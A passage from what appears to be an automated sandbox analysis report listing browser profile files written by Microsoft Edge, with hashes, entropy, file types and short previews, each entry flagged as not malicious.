SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\959190c1-3229-4ea0-8730-eec7a20114b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9e77beb3-6118-4cf8-9bd1-0cd8a1060643.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ce9c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ae8cef0f-695b-4914-b48f-928a1bcb9b41.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.268164341362449
Encrypted:	false
SSDEEP:	6:HWC+q2PN723oH+TcwtzjqEKj0QMxIFUt8YWJZZmw+YWZitVkwON723oH+TcwtzjL:4vVaYebvqBZFUt8VZ/+9C5OaYebvqBaJ
MD5:	D133C978AFA47AD29FA89FF5A7A7B967
SHA1:	26C52ED91AF842F20ECD8F36AC54AE099D98BD87
SHA-256:	2533BE72155452F905B94D299D8E57918F7CD93B7E001ADCA0C4D6E0A456628E
SHA-512:	4E374657CCB90A694E1B7707F76DC3DAF93A6462DBE0F5DFDECA7E6AE3D588FAA5DDA4EA79A19D1A9366A58C51953F53E60ADB8CF5A1E3E59243D1DE8A9C0AE9
Malicious:	false
Preview:	2024/11/24-23:46:54.725 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/24-23:46:54.726 1e98 Recovering log #3.2024/11/24-23:46:54.730 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.268164341362449
Encrypted:	false
SSDEEP:	6:HWC+q2PN723oH+TcwtzjqEKj0QMxIFUt8YWJZZmw+YWZitVkwON723oH+TcwtzjL:4vVaYebvqBZFUt8VZ/+9C5OaYebvqBaJ
MD5:	D133C978AFA47AD29FA89FF5A7A7B967
SHA1:	26C52ED91AF842F20ECD8F36AC54AE099D98BD87
SHA-256:	2533BE72155452F905B94D299D8E57918F7CD93B7E001ADCA0C4D6E0A456628E
SHA-512:	4E374657CCB90A694E1B7707F76DC3DAF93A6462DBE0F5DFDECA7E6AE3D588FAA5DDA4EA79A19D1A9366A58C51953F53E60ADB8CF5A1E3E59243D1DE8A9C0AE9
Malicious:	false
Preview:	2024/11/24-23:46:54.725 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/24-23:46:54.726 1e98 Recovering log #3.2024/11/24-23:46:54.730 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.1722932007001985
Encrypted:	false
SSDEEP:	6:HG6q2PN723oH+TcwtpIFUt8YGiZmw+YGOkwON723oH+Tcwta/WLJ:fvVaYebmFUt8y/++5OaYebaUJ
MD5:	1CFD4AA7B843D87B935B78E2E75D02A2
SHA1:	D3D2F3342C5E2538F6E4CC43578E18E0131D74CD
SHA-256:	968B91C0FEEE7ECB42FC65D8DCFD987A201A1E89D88235A39664F5AC6B883884
SHA-512:	4E8B502CC7D1A1461AA5724948C7F7DC622221C20AFEFC859142473696FFE93C93405F67362920891D10B5D22188F88A8D5F7018C439A593EE20B06EDE238767
Malicious:	false
Preview:	2024/11/24-23:46:36.268 204 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/24-23:46:36.269 204 Recovering log #3.2024/11/24-23:46:36.269 204 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.1722932007001985
Encrypted:	false
SSDEEP:	6:HG6q2PN723oH+TcwtpIFUt8YGiZmw+YGOkwON723oH+Tcwta/WLJ:fvVaYebmFUt8y/++5OaYebaUJ
MD5:	1CFD4AA7B843D87B935B78E2E75D02A2
SHA1:	D3D2F3342C5E2538F6E4CC43578E18E0131D74CD
SHA-256:	968B91C0FEEE7ECB42FC65D8DCFD987A201A1E89D88235A39664F5AC6B883884
SHA-512:	4E8B502CC7D1A1461AA5724948C7F7DC622221C20AFEFC859142473696FFE93C93405F67362920891D10B5D22188F88A8D5F7018C439A593EE20B06EDE238767
Malicious:	false
Preview:	2024/11/24-23:46:36.268 204 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/24-23:46:36.269 204 Recovering log #3.2024/11/24-23:46:36.269 204 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2674909933711898
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM3SA1LyKOMq+8iP5GDHP/0jMVumQ:Kq+n0J391LyKOMq+8iP5GLP/0x
MD5:	4AAC4F9F96EC65E521FF61D116764B17
SHA1:	14035AE772F3CFF915F6080A71BE9FDAD357E951
SHA-256:	59EC64F54EF02DCA91C98AF26C6F6908DBB6EF41A9FA6BD05B287231DD2A26B5
SHA-512:	FBF64AE9BEA46FB3889DC89B8DD000D07926A9BF4BDA231D8EBD2EA62E7B296D99CA9AC46E9C6C1F56B5DC5D9C665DE7CABE29E99D24F22A2BC3D3BDFE8C9B25
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4669705137681089
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0P+:v7doKsKuKZKlZNmu46yjx0G
MD5:	93AA1A3F07F7C9849890CA6A797BC39E
SHA1:	CB46A8F0A83B2036FF9471CE0AE3DDC1A4AE0443
SHA-256:	B346B8BC91FC9C7AECEA79F09A33C1E1033633D3AFAB82C60CBC725C8E50CC86
SHA-512:	805DCFC75ADD7A1B1C78D8DDB302522F0D1DE2D7DD38D32DDFF4B860F1FE810D3E3BBCECC92A6E84A9F53D1FA1EE8EEFB337EDFF1FBCE873CEF798C2D299B946
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ad8f7b9b-b222-44c3-884c-c57225b206f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16790), with no line terminators
Category:	dropped
Size (bytes):	16794
Entropy (8bit):	5.445984383921103
Encrypted:	false
SSDEEP:	384:stmPGKSu4Ys0yCCDrfSywi4I4L6cYHbGtQwAV:sgOxuXZC5JjbGelV
MD5:	DE9171F7FC23B10AA625E94B2398356E
SHA1:	DF59BC1AE28B235EBEDF631A5174ACB2ABBC3CA9
SHA-256:	D4E8A5FC1A36B382EB7E4522D21637EB0DBB0C14FD490BED3980215EB1C3E9BC
SHA-512:	7E075EAD64D8514A744EA9EFD3BA8719ED67674116699F8D42E40E844743CBC3BFD879E1C0BE52E95002B23ABEE0E83EE3C36D9DBD8E0C34BBEDB805EDB9846D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376983596869119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bdb3e836-9651-423d-bc61-10111741396b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17547), with no line terminators
Category:	dropped
Size (bytes):	17551
Entropy (8bit):	5.48385799949147
Encrypted:	false
SSDEEP:	384:stmPGKSu4Ys0yCCDvifSywi4I4L6cYHbGtQw+3V:sgOxuXZCYJjbGeJV
MD5:	EE585AF7EC08704C2D1B190CE9295474
SHA1:	050D66BAF250310AE65007955113179008ED3AF4
SHA-256:	4FC5D5074A5A25439541B10D5E213B1F72E5E148ABCD1D36972A5E45F399AB36
SHA-512:	8E8F66C3D535B624BAFA2E3F3269E16C1EF28F7F01039E76B2CC671B225F3F9B6BFB8B853DA7C46A5A6F28F928F44D1DB034100773B5BB94CF0FAAB7E7C0D3D0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376983596869119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e1341f50-885a-41cc-bdd9-f3f8d9119d46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17547), with no line terminators
Category:	dropped
Size (bytes):	17551
Entropy (8bit):	5.483721994993921
Encrypted:	false
SSDEEP:	384:stmPGKSu4Ys0yCCDvifSywi4I4L6cYHbGtQw33V:sgOxuXZCYJjbGeuV
MD5:	9CEAE918B51503B54A43ADA8C1A453F8
SHA1:	76D51E341FE3D8487FAC4F1486E9DCEFAEE01E76
SHA-256:	92C91DD3825A54A1BB2B3015845AA0B65C33E997259D671F0318B727B1E59B6E
SHA-512:	EC9F6CE5BDDF149E9FDFFB596BDB696528F022079AFA8B1D60C29ABA5DD0723CBE8C21015A0B8810E04DB588948FC039EE35585180F2179215B8EFB1371FD22C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376983596869119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10123767584802544
Encrypted:	false
SSDEEP:	12:+tYYtYRspEjVl/PnnnnnnnnnnnvoQ/Eou:+tBtLoPnnnnnnnnnnnv1j
MD5:	E91E3CFC9D965A77E98C4F4AA263F707
SHA1:	579F6C7302614C23495916CCF11B7DDCD81DA904
SHA-256:	526DE47CAE0901BC2CB3443ADC7CD82BD52280ECB0AF4F77FABBB4138714F2D9
SHA-512:	09C71BB40E17404E4197B3E82097CD947C3CC007387FA0D8FC86E116D1C7C7E50BD5BEE1060204C24C93F9891C3D0CC59ED6E52B5D533C2EE4B241C924D745BC
Malicious:	false
Preview:	..-.............M........?'..Rg.$J...V...%..5.....-.............M........?'..Rg.$J...V...%..5...........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8909817179624273
Encrypted:	false
SSDEEP:	384:PutT3ldTUMtTPzteGdbIgm2zQjR1L1c1nICv86yUycWybyG5yXxyuP:wB3MoXXOP91
MD5:	B2621A208EE1A4A3B8133C1DF394ABA5
SHA1:	F685E79F369377240701EEF42ECCE8E447A3188B
SHA-256:	95DC19D7E3D7CDF427ABD9D82A40016894FE1128441CF63FF2444209152B4BD4
SHA-512:	42D495F8469BF4BF607B742A45FE731D327A594E729D885D8A519D9631F5143975945BD6770018B3647A1AB7B8B27840884B5D558B9EDA80C2E2198189833798
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5345379397567407
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuxllMH5ZU8T:pHayYlYV
MD5:	0EE5B1D30F8DB961296387085F720202
SHA1:	2B55F8EBB26CF96B2686614FCBFD411FC32E4CB7
SHA-256:	15AEB2496D9A37C7FA55464CF9F73882D6627541D20A9934A99F8C23AC98CF1D
SHA-512:	FEE80D5BC4E4524BCAC4F095755AA5D02C181CA75359BC472E71905482A8C8C93E5148C9463EF03EB1E3FE366D0DF67D8282459C306350ABA9602916FF73231F
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................Y,.;...............#38_h.......6.Z..W.F.....T.3.....T.3..........V.e.................A>.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

